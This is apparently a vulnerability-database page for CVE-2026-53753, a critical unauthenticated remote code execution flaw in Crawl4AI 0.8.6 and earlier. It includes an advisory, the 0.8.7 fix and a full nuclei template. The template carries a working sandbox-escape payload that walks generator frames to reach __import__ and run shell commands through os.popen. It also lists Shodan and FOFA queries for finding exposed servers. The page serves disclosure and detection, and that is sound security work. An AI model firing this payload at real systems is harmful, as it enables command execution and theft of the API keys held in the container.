HexBrain

Browse / CVEs / CVE-2026-53753

CVE-2026-53753· unclecode / crawl4ai· CWE-94

Crawl4AI <= 0.8.6 - Remote Code Execution

criticalseverity
10CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container.

Impact

An unauthenticated attacker can execute arbitrary operating system commands inside the crawler container, read or tamper with crawled data, steal provider API keys held in the container environment, and pivot into any network the container can reach.

Fix

Upgrade Crawl4AI to version 0.8.7 or later, where computed field expressions are disabled.

How to confirm it

Send: POST /crawl
Positive when: contains "{{marker}}41897569" AND contains "\"server_processing_time_s\"" and "\"extracted_content\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-53753 -u <target>

The full check
id: CVE-2026-53753

info:
  name: Crawl4AI <= 0.8.6 - Remote Code Execution
  author: aryu-ru,q1uf3ng,August829
  severity: critical
  description: |
    Crawl4AI through 0.8.6 ships a Docker API server that exposes an unauthenticated /crawl endpoint. The computed field type of JsonCssExtractionStrategy evaluates a user supplied expression inside an AST based sandbox that does not restrict attribute access on generator frame objects. A generator expression can therefore reach gi_frame.f_back, walk the caller chain to f_builtins, recover __import__ and execute arbitrary operating system commands as the user running the container.
  impact: |
    An unauthenticated attacker can execute arbitrary operating system commands inside the crawler container, read or tamper with crawled data, steal provider API keys held in the container environment, and pivot into any network the container can reach.
  remediation: |
    Upgrade Crawl4AI to version 0.8.7 or later, where computed field expressions are disabled.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-qxjp-w3pj-48m7
    - https://github.com/unclecode/crawl4ai/pull/1855
    - https://github.com/unclecode/crawl4ai/pull/1886
    - https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-319.yaml
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-53753
    epss-score: 0.029
    epss-percentile: 0.87062
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: unclecode
    product: crawl4ai
    shodan-query: http.title:"Crawl4AI Playground"
    fofa-query: title="Crawl4AI Playground"
  tags: cve,cve2026,crawl4ai,unclecode,rce,sandbox-escape

variables:
  marker: "{{to_lower(rand_base(6))}}"

http:
  - raw:
      - |
        POST /crawl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "urls": [
            "raw://<html><body><div>crawl4ai</div></body></html>"
          ],
          "crawler_config": {
            "type": "CrawlerRunConfig",
            "params": {
              "extraction_strategy": {
                "type": "JsonCssExtractionStrategy",
                "params": {
                  "schema": {
                    "name": "probe",
                    "baseSelector": "div",
                    "fields": [
                      {
                        "name": "probe",
                        "type": "computed",
                        "expression": "(lambda L: (L.append((L[0].gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('echo {{marker}}$((31337*1337))').read() for q in [1])), list(L[0]))[1])([])"
                      }
                    ]
                  }
                }
              }
            }
          }
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}41897569"

      - type: word
        part: body
        words:
          - '"server_processing_time_s"'
          - '"extracted_content"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from